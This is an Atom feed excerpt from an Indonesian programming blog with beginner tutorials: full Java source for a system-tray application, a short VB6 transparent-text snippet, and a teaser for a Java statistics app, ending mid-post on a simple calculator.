<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1475036015484717232</id><updated>2011-07-28T20:34:35.661+07:00</updated><category term='C#'/><category term='PHP'/><category term='Intro'/><category term='MySQL'/><category term='Javascript'/><category term='Linux'/><category term='C'/><category term='Delphi'/><category term='Review'/><category term='Visual Basic'/><category term='Tutorial'/><category term='Java'/><category term='Gambas'/><category term='Pascal'/><category term='ASP.NET'/><category term='Algoritma'/><title type='text'>Indo programmer n source code</title><subtitle type='html'>Kumpulan Source Code serta Tutorial dari para Programmer Indonesia.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>54</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-6863431355763086273</id><published>2009-06-21T09:24:00.001+07:00</published><updated>2009-06-21T09:24:09.896+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Membuat Aplikasi SystemTray dengan java</title><content type='html'>&lt;h5 align="left"&gt;&lt;a href="http://4.bp.blogspot.com/_yOh4Xju6mVA/ShI8mgjV6-I/AAAAAAAAAD4/0PTQz3dRiRs/s1600-h/tray+icon2.jpg"&gt;&lt;img border="0" alt="" src="http://4.bp.blogspot.com/_yOh4Xju6mVA/ShI8mgjV6-I/AAAAAAAAAD4/0PTQz3dRiRs/s320/tray+icon2.jpg" /&gt;&lt;/a&gt;&lt;/h5&gt;  &lt;h5 align="left"&gt;&lt;a href="http://1.bp.blogspot.com/_yOh4Xju6mVA/ShI84u16K7I/AAAAAAAAAEA/E2iWjD-wsYM/s1600-h/tray+icon.jpg"&gt;&lt;img border="0" alt="" src="http://1.bp.blogspot.com/_yOh4Xju6mVA/ShI84u16K7I/AAAAAAAAAEA/E2iWjD-wsYM/s320/tray+icon.jpg" /&gt;&lt;/a&gt;&lt;/h5&gt; &lt;span class="fullpost"&gt; &lt;h5 align="left"&gt;   &lt;br /&gt;untuk membuat SystemTray seperti gambar diatas ternyata tidak sesulit yang saya kira.     &lt;br /&gt;berikut source code beserta penjelasanya.     &lt;br /&gt;&lt;a href="http://www.ziddu.com/download/4809967/CobaCoba.rar.html"&gt;Dowload project&lt;/a&gt;     &lt;br /&gt;/*     &lt;br /&gt;* Program ini dibuat oleh Rachmad Hadi Wijoyo     &lt;br /&gt;* anda boleh mengunakan dan mendistribusikan dengan bebas     &lt;br /&gt;* asalkan tidak mengubah license ini.     &lt;br /&gt;* copyright by Rachmad Hadi Wijoyo     &lt;br /&gt;*/     &lt;br /&gt;package cobacoba;     &lt;br /&gt;/**     &lt;br /&gt;*     &lt;br /&gt;* @author rahw     &lt;br /&gt;*/     &lt;br /&gt;import java.awt.*;     &lt;br /&gt;import java.awt.event.*;     &lt;br /&gt;import java.net.URL;     &lt;br /&gt;import javax.swing.*;     &lt;br /&gt;public class RTray {     &lt;br /&gt;public static void main(String[] args) {     &lt;br /&gt;/* Set Look and Feel yang kita guanakan*/     &lt;br /&gt;try {     &lt;br /&gt;UIManager.setLookAndFeel(&amp;quot;com.sun.java.swing.plaf.windows.WindowsLookAndFeel&amp;quot;);     &lt;br /&gt;//UIManager.setLookAndFeel(&amp;quot;javax.swing.plaf.metal.MetalLookAndFeel&amp;quot;);     &lt;br /&gt;} catch (UnsupportedLookAndFeelException ex) {     &lt;br /&gt;ex.printStackTrace();     &lt;br /&gt;} catch (IllegalAccessException ex) {     &lt;br /&gt;ex.printStackTrace();     &lt;br /&gt;} catch (InstantiationException ex) {     &lt;br /&gt;ex.printStackTrace();     &lt;br /&gt;} catch (ClassNotFoundException ex) {     &lt;br /&gt;ex.printStackTrace();     &lt;br /&gt;}     &lt;br /&gt;/* mematikan evek metal look and feel */     &lt;br /&gt;UIManager.put(&amp;quot;swing.boldMetal&amp;quot;, Boolean.FALSE);     &lt;br /&gt;//Menjadwal event-dispatching thread:     &lt;br /&gt;//Memasang TrayIcon.     &lt;br /&gt;SwingUtilities.invokeLater(new Runnable() {     &lt;br /&gt;public void run() {     &lt;br /&gt;createAndShowGUI();     &lt;br /&gt;new tesSystemTray().setVisible(true);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;}     &lt;br /&gt;private static void createAndShowGUI() {     &lt;br /&gt;//Untuk memeriksa apakah sistem mendukung SystemTray     &lt;br /&gt;if (!SystemTray.isSupported()) {     &lt;br /&gt;System.out.println(&amp;quot;Tidak mendukung SystemTray &amp;quot;);     &lt;br /&gt;return;     &lt;br /&gt;}     &lt;br /&gt;final PopupMenu popup = new PopupMenu();     &lt;br /&gt;final TrayIcon trayIcon =     &lt;br /&gt;new TrayIcon(createImage(&amp;quot;/cobacoba/administrator_128.png&amp;quot;, &amp;quot;tray icon&amp;quot;));     &lt;br /&gt;final SystemTray tray = SystemTray.getSystemTray();     &lt;br /&gt;// membuat popup menu components     &lt;br /&gt;MenuItem aboutItem = new MenuItem(&amp;quot;Tentang&amp;quot;);     &lt;br /&gt;CheckboxMenuItem cb2 = new CheckboxMenuItem(&amp;quot;Set tooltip&amp;quot;);     &lt;br /&gt;MenuItem exitItem = new MenuItem(&amp;quot;Exit&amp;quot;);     &lt;br /&gt;//Add components to popup menu     &lt;br /&gt;popup.add(aboutItem);     &lt;br /&gt;popup.addSeparator();     &lt;br /&gt;popup.add(cb2);     &lt;br /&gt;popup.addSeparator();     &lt;br /&gt;popup.add(exitItem);     &lt;br /&gt;trayIcon.setPopupMenu(popup);     &lt;br /&gt;try {     &lt;br /&gt;tray.add(trayIcon);     &lt;br /&gt;trayIcon.setImageAutoSize(true);     &lt;br /&gt;} catch (AWTException e) {     &lt;br /&gt;System.out.println(&amp;quot;TrayIcon tidak dapat dipasang.&amp;quot;);     &lt;br /&gt;return;     &lt;br /&gt;}     &lt;br /&gt;trayIcon.addActionListener(new ActionListener() {     &lt;br /&gt;public void actionPerformed(ActionEvent e) {     &lt;br /&gt;new tesSystemTray().setVisible(true);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;aboutItem.addActionListener(new ActionListener() {     &lt;br /&gt;public void actionPerformed(ActionEvent e) {     &lt;br /&gt;JOptionPane.showMessageDialog(null,     &lt;br /&gt;&amp;quot;Pesan ini dijalankan dari System Tray\n&amp;quot;+     &lt;br /&gt;&amp;quot;Program ini dibuat oleh Rachmad Hadi Wijoyo\n&amp;quot;+     &lt;br /&gt;&amp;quot;anda boleh mengunakan dan mendistribusikan dengan bebas\n&amp;quot;+     &lt;br /&gt;&amp;quot;asalkan tidak mengubah license ini.\n&amp;quot;+     &lt;br /&gt;&amp;quot;copyright by Rachmad Hadi Wijoyo \n&amp;quot;     &lt;br /&gt;);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;cb2.addItemListener(new ItemListener() {     &lt;br /&gt;public void itemStateChanged(ItemEvent e) {     &lt;br /&gt;int cb2Id = e.getStateChange();     &lt;br /&gt;if (cb2Id == ItemEvent.SELECTED){     &lt;br /&gt;trayIcon.setToolTip(&amp;quot;Sun TrayIcon&amp;quot;);     &lt;br /&gt;} else {     &lt;br /&gt;trayIcon.setToolTip(null);     &lt;br /&gt;}     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;exitItem.addActionListener(new ActionListener() {     &lt;br /&gt;public void actionPerformed(ActionEvent e) {     &lt;br /&gt;tray.remove(trayIcon);     &lt;br /&gt;System.exit(0);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;}     &lt;br /&gt;//Obtain the image URL     &lt;br /&gt;protected static Image createImage(String path, String description) {     &lt;br /&gt;URL imageURL = RTray.class.getResource(path);     &lt;br /&gt;if (imageURL == null) {     &lt;br /&gt;System.err.println(&amp;quot;Gambar tidak ditemukan di: &amp;quot; + path);     &lt;br /&gt;return null;     &lt;br /&gt;} else {     &lt;br /&gt;return (new ImageIcon(imageURL, description)).getImage();     &lt;br /&gt;}     &lt;br /&gt;}     &lt;br /&gt;}     &lt;br /&gt;___________     &lt;br /&gt;/*     &lt;br /&gt;* Program ini dibuat oleh Rachmad Hadi Wijoyo     &lt;br /&gt;* anda boleh mengunakan dan mendistribusikan dengan bebas     &lt;br /&gt;* asalkan tidak mengubah license ini.     &lt;br /&gt;* copyright by Rachmad Hadi Wijoyo     &lt;br /&gt;* anda boleh mengunakan dan mendistribusikan dengan bebas     &lt;br /&gt;*/     &lt;br /&gt;/*     &lt;br /&gt;* tesSystemTray.java     &lt;br /&gt;*     &lt;br /&gt;* Created on May 19, 2009, 11:05:11 AM     &lt;br /&gt;*/     &lt;br /&gt;package cobacoba;     &lt;br /&gt;import java.awt.event.ActionEvent;     &lt;br /&gt;import java.awt.event.ActionListener;     &lt;br /&gt;import javax.swing.JFrame;     &lt;br /&gt;import javax.swing.Timer;     &lt;br /&gt;/**     &lt;br /&gt;*     &lt;br /&gt;* @author rahw     &lt;br /&gt;*/     &lt;br /&gt;public class tesSystemTray extends javax.swing.JFrame {     &lt;br /&gt;/** Creates new form tesSystemTray */     &lt;br /&gt;public tesSystemTray() {     &lt;br /&gt;initComponents();     &lt;br /&gt;timerx.start();     &lt;br /&gt;}     &lt;br /&gt;/** This method is called from within the constructor to     &lt;br /&gt;* initialize the form.     &lt;br /&gt;* WARNING: Do NOT modify this code. The content of this method is     &lt;br /&gt;* always regenerated by the Form Editor.     &lt;br /&gt;*/     &lt;br /&gt;@SuppressWarnings(&amp;quot;unchecked&amp;quot;)     &lt;br /&gt;// //GEN-BEGIN:initComponents     &lt;br /&gt;private void initComponents() {     &lt;br /&gt;jPanel1 = new javax.swing.JPanel();     &lt;br /&gt;jButton1 = new javax.swing.JButton();     &lt;br /&gt;jButton2 = new javax.swing.JButton();     &lt;br /&gt;jLabel1 = new javax.swing.JLabel();     &lt;br /&gt;jLabel2 = new javax.swing.JLabel();     &lt;br /&gt;setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);     &lt;br /&gt;jPanel1.setBackground(new java.awt.Color(153, 153, 255));     &lt;br /&gt;jButton1.setText(&amp;quot;Sembunyi&amp;quot;);     &lt;br /&gt;jButton1.addActionListener(new java.awt.event.ActionListener() {     &lt;br /&gt;public void actionPerformed(java.awt.event.ActionEvent evt) {     &lt;br /&gt;jButton1ActionPerformed(evt);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;jButton2.setText(&amp;quot;Keluar&amp;quot;);     &lt;br /&gt;jButton2.addActionListener(new java.awt.event.ActionListener() {     &lt;br /&gt;public void actionPerformed(java.awt.event.ActionEvent evt) {     &lt;br /&gt;jButton2ActionPerformed(evt);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;jLabel1.setIcon(new javax.swing.ImageIcon(getClass().getResource(&amp;quot;/cobacoba/administrator_128.png&amp;quot;))); // NOI18N     &lt;br /&gt;jLabel1.addMouseListener(new java.awt.event.MouseAdapter() {     &lt;br /&gt;public void mouseEntered(java.awt.event.MouseEvent evt) {     &lt;br /&gt;jLabel1MouseEntered(evt);     &lt;br /&gt;}     &lt;br /&gt;public void mouseExited(java.awt.event.MouseEvent evt) {     &lt;br /&gt;jLabel1MouseExited(evt);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;jLabel2.setText(&amp;quot;copyright by Rachmad Hadi Wijoyo &amp;quot;);     &lt;br /&gt;javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);     &lt;br /&gt;jPanel1.setLayout(jPanel1Layout);     &lt;br /&gt;jPanel1Layout.setHorizontalGroup(     &lt;br /&gt;jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)     &lt;br /&gt;.addGroup(jPanel1Layout.createSequentialGroup()     &lt;br /&gt;.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)     &lt;br /&gt;.addGroup(jPanel1Layout.createSequentialGroup()     &lt;br /&gt;.addGap(117, 117, 117)     &lt;br /&gt;.addComponent(jButton1)     &lt;br /&gt;.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)     &lt;br /&gt;.addComponent(jButton2, javax.swing.GroupLayout.PREFERRED_SIZE, 84, javax.swing.GroupLayout.PREFERRED_SIZE))     &lt;br /&gt;.addGroup(jPanel1Layout.createSequentialGroup()     &lt;br /&gt;.addGap(134, 134, 134)     &lt;br /&gt;.addComponent(jLabel1))     &lt;br /&gt;.addGroup(jPanel1Layout.createSequentialGroup()     &lt;br /&gt;.addContainerGap()     &lt;br /&gt;.addComponent(jLabel2)))     &lt;br /&gt;.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))     &lt;br /&gt;);     &lt;br /&gt;jPanel1Layout.setVerticalGroup(     &lt;br /&gt;jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)     &lt;br /&gt;.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel1Layout.createSequentialGroup()     &lt;br /&gt;.addGap(27, 27, 27)     &lt;br /&gt;.addComponent(jLabel1)     &lt;br /&gt;.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 86, Short.MAX_VALUE)     &lt;br /&gt;.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)     &lt;br /&gt;.addComponent(jButton2)     &lt;br /&gt;.addComponent(jButton1))     &lt;br /&gt;.addGap(18, 18, 18)     &lt;br /&gt;.addComponent(jLabel2)     &lt;br /&gt;.addGap(4, 4, 4))     &lt;br /&gt;);     &lt;br /&gt;getContentPane().add(jPanel1, java.awt.BorderLayout.CENTER);     &lt;br /&gt;java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize();     &lt;br /&gt;setBounds((screenSize.width-408)/2, (screenSize.height-327)/2, 408, 327);     &lt;br /&gt;}// &amp;lt;/RAC3_HW@YAHOO.COM,&amp;gt;//GEN-END:initComponents     &lt;br /&gt;private void jLabel1MouseEntered(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jLabel1MouseEntered     &lt;br /&gt;// TODO add your handling code here:     &lt;br /&gt;jLabel1.setSize(jLabel1.getSize().width+20, jLabel1.getSize().height+20);     &lt;br /&gt;}//GEN-LAST:event_jLabel1MouseEntered     &lt;br /&gt;private void jLabel1MouseExited(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jLabel1MouseExited     &lt;br /&gt;// TODO add your handling code here:     &lt;br /&gt;jLabel1.setSize(jLabel1.getSize().width-20, jLabel1.getSize().height-20);     &lt;br /&gt;}//GEN-LAST:event_jLabel1MouseExited     &lt;br /&gt;private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton1ActionPerformed     &lt;br /&gt;// TODO add your handling code here:     &lt;br /&gt;dispose();     &lt;br /&gt;}//GEN-LAST:event_jButton1ActionPerformed     &lt;br /&gt;private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton2ActionPerformed     &lt;br /&gt;// TODO add your handling code here:     &lt;br /&gt;System.exit(0);     &lt;br /&gt;}//GEN-LAST:event_jButton2ActionPerformed     &lt;br /&gt;/**     &lt;br /&gt;* @param args the command line arguments     &lt;br /&gt;*/     &lt;br /&gt;public static void main(String args[]) {     &lt;br /&gt;java.awt.EventQueue.invokeLater(new Runnable() {     &lt;br /&gt;public void run() {     &lt;br /&gt;new tesSystemTray().setVisible(true);     &lt;br /&gt;}     &lt;br /&gt;});     &lt;br /&gt;}     &lt;br /&gt;Timer timerx = new Timer(100, new ActionListener() {     &lt;br /&gt;public void actionPerformed(ActionEvent E) {     &lt;br /&gt;if (jLabel2.getLocation().x &amp;lt;= (-jPanel1.getWidth()-50)){ jLabel2.setLocation(jPanel1.getWidth(),jLabel2.getLocation().y ); jLabel2.setLocation(jLabel2.getLocation().x-10, jLabel2.getLocation().y); }else{ jLabel2.setLocation(jLabel2.getLocation().x-10, jLabel2.getLocation().y); } } }); // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton jButton1; private javax.swing.JButton jButton2; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JPanel jPanel1; // End of variables declaration//GEN-END:variables } &lt;/h5&gt;  &lt;h5 align="left"&gt;&lt;a href="http://www.ziddu.com/download/4809967/CobaCoba.rar.html"&gt;Download Project&lt;/a&gt;&lt;/h5&gt;  &lt;p align="left"&gt;Source : &lt;a href="http://bosojava.blogspot.com/2009/05/membuat-aplikasi-systemtray-dengan-java.html" target="_blank"&gt;bosojava.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:d8c11f0d-5bc8-447c-88a8-59889773601d" class="wlWriterEditableSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/Java" rel="tag"&gt;Java&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Source+Code" rel="tag"&gt;Source Code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Systray" rel="tag"&gt;Systray&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-6863431355763086273?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/6863431355763086273/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=6863431355763086273&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/6863431355763086273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/6863431355763086273'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2009/06/membuat-aplikasi-systemtray-dengan-java.html' title='Membuat Aplikasi SystemTray dengan java'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_yOh4Xju6mVA/ShI8mgjV6-I/AAAAAAAAAD4/0PTQz3dRiRs/s72-c/tray+icon2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-1235205273884353354</id><published>2009-05-22T10:33:00.002+07:00</published><updated>2009-05-22T10:52:57.004+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Teks Tembus Pandang Menggunakan VB 6.0</title><content type='html'>&lt;p align="justify"&gt;Kalau sebelumnya manusia biasa pernah membuat artikel tentang Teks Berjalan dan Kerlap Kerlip pada Visual Basic 6.0. Nah, sekarang manusia biasa akan membawa rekan-rekan sekalian untuk sedikit berkreasi dengan menggunakan visual basic lagi tentunya masih menggunakan visual basic 6.0.&lt;/p&gt; &lt;span class="fullpost"&gt;&lt;br /&gt;&lt;p align="justify"&gt;Sekarang manusia biasa akan bagikan sedikit tips lagi kini kita akan membuat teks tersebut menjadi tembus pandang singkatnya teksnya akan transparant.&lt;/p&gt;  &lt;p align="justify"&gt;langkah pertama yang harus rekan-rekan lakukan adalah   &lt;br /&gt;Buatlah sebuah project dengan standartd EXE.    &lt;br /&gt;kemudian buatlah satu buah picture terserah mo dinamai apa.... yang penting pake picture. ok...........    &lt;br /&gt;kalau sudah copy pastekan koding dibawah ini ke menu editor rekan2:    &lt;br /&gt;Private Sub Form_Load()    &lt;br /&gt;Const TXT = &amp;quot;Manusia Biasa&amp;quot;-----&amp;gt;&amp;gt;&amp;gt; bisa diganti dengan keinginan anda    &lt;br /&gt;Dim i As Long    &lt;br /&gt;Dim hRgn As Long    &lt;br /&gt;Picture1.AutoRedraw = True    &lt;br /&gt;'huruf Sesuaikan dengan keinginan Anda...    &lt;br /&gt;Picture1.Font.Name = &amp;quot;Times new roman&amp;quot;    &lt;br /&gt;Picture1.Font.Bold = True    &lt;br /&gt;Picture1.Font.Size = 50    &lt;br /&gt;'Buat ukuran Picture1 cukup besar    &lt;br /&gt;Picture1.Width = Picture1.TextWidth(TXT)    &lt;br /&gt;Picture1.Height = Picture1.TextHeight(TXT)    &lt;br /&gt;'Untuk letak Picture1    &lt;br /&gt;BeginPath Picture1.hdc    &lt;br /&gt;Picture1.CurrentX = 0    &lt;br /&gt;Picture1.CurrentY = 0    &lt;br /&gt;Picture1.Print TXT    &lt;br /&gt;EndPath Picture1.hdc    &lt;br /&gt;'Gambar teks...    &lt;br /&gt;StrokePath Picture1.hdc    &lt;br /&gt;End Sub    &lt;br /&gt;Mudah bukan?????? nah, kalau mau manthaffff lagi cari lagi deh kreasi lain lagi. Gak menutup kemungkinan coding diatas bisa lebih dikreasikan lagi.    &lt;br /&gt;Sekian artikel dari manusia biasa.    &lt;br /&gt;Keep Smile n' Happy Blogging&lt;/p&gt;  &lt;p align="justify"&gt;Source : &lt;a href="http://jenggotcommunity.blogspot.com/2009/05/teks-tembus-pandang-menggunakan-vb-60.html" target="_blank"&gt;jenggotcommunity.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:942754a8-766f-480b-993c-fe144e037cec" class="wlWriterEditableSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/Visual+Basic" rel="tag"&gt;Visual Basic&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Teks" rel="tag"&gt;Teks&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Transparan" rel="tag"&gt;Transparan&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-1235205273884353354?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/1235205273884353354/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=1235205273884353354&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1235205273884353354'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1235205273884353354'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2009/05/teks-tembus-pandang-menggunakan-vb-60.html' title='Teks Tembus Pandang Menggunakan VB 6.0'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-8547581555054186181</id><published>2009-05-22T10:29:00.001+07:00</published><updated>2009-05-22T10:29:55.271+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>Membuat Aplikasi Statistika Sederhana Menggunakan Java dan Netbeans</title><content type='html'>&lt;p align="justify"&gt;Akhirnya bisa posting diblog lagi setelah sekian lama tenggelam ama kuliah dan UTS. &lt;img alt=":P" src="http://syamsulbachri.co.cc/wp-includes/images/smilies/icon_razz.gif" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Nah dipostingan kali ini saya bakalan ngebahas bagaimana membuat suatu aplikasi sederhana (ih, kenapa mesti pake sederhana, yang duluan Kalkulator juga pake sederhana) yang bisa menghitung nilai rataan,banyak dan jumlah data, menentukan nilai minimum dan maximum serta standar deviasinya. &lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;APlikasi ini saya namakan Simple Statistic Application (ah sama aja ma Program Kalkulator Sederhana cuma namanya doank yang beda coz pake bahasa Inggris. wuuh). Kalo sebelumnya saya membuat dalam bahasa C#.Net dan menggunakan MS Visual Studio, kali ini saya membuat menggunakan bahasa Java dengan bantuan Netbeans 6.5. Nih screen capture dari aplikasi yang saya buat.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;img title="ssa" alt="Aplikasi Statistik Java" src="http://syamsulbachri.co.cc/wp-content/uploads/ssa.jpg" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;img title="ssa" alt="Contoh Aplikasi Java" src="http://syamsulbachri.co.cc/wp-content/uploads/ssa-2.jpg" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;Kamu juga bisa mengunduh source code dari aplikasi ini, &lt;a href="http://syamsulbachri.co.cc/wp-content/uploads/StatisticsApplicationBySyamsul.zip"&gt;download di sini&lt;/a&gt;.&lt;/p&gt;  &lt;p align="justify"&gt;Untuk membuat aplikasi tersebut cukup mudah, apalagi dibantu menggunakan Netbeans.&lt;/p&gt;  &lt;p align="justify"&gt;Seperti yang saya bilang di atas, aplikasi ini mempunyai beberapa fungsi yaitu menghitung banyak dan jumlah data, rataan, nilai maksimum dan minimum serta standar deviasi. Data yang dapat dimasukan banyaknya tidak terbatas (pegel dah tuh tangan :P).&lt;/p&gt;  &lt;p align="justify"&gt;Nah trus cara bikinnya gimana?? Tenang, saya akan bahas sedikit bagaimana cara pembuatannya.&lt;/p&gt;  &lt;p align="justify"&gt;Pertama, kamu siapkan “peralatan tempur” yang akan dipake yaitu sebuah komputer dengan JDK 1.6+ dan Netbeans 6+ yang sudah terinstal.&lt;/p&gt;  &lt;p align="justify"&gt;Lets start…&lt;/p&gt;  &lt;p align="justify"&gt;Selengkapnya : &lt;a href="http://syamsulbachri.co.cc/2009/04/30/membuat-aplikasi-statistika-sederhana-menggunakan-java.html" target="_blank"&gt;syamsulbachri.co.cc&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:dc2a5347-2743-408c-bf86-231b5339f67f" class="wlWriterEditableSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/Java" rel="tag"&gt;Java&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Statistika" rel="tag"&gt;Statistika&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Netbeans" rel="tag"&gt;Netbeans&lt;/a&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-8547581555054186181?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/8547581555054186181/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=8547581555054186181&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8547581555054186181'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/8547581555054186181'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2009/05/membuat-aplikasi-statistika-sederhana.html' title='Membuat Aplikasi Statistika Sederhana Menggunakan Java dan Netbeans'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-2658549124042680866</id><published>2009-05-22T10:27:00.001+07:00</published><updated>2009-05-22T10:27:21.202+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>KALKULATOR SEDERHANA MENGGUNAKAN JAVA</title><content type='html'>&lt;p align="justify"&gt;Bagi yang sedang mempelajari bahasa pemrograman, contoh kalkulator sederhana merupakan hal yang sudah biasa. Mengapa contoh tersebut sering ditugaskan oleh dosen ? ya, karena di sana ada penerapan input, pengulangan, output, dan juga penerapan 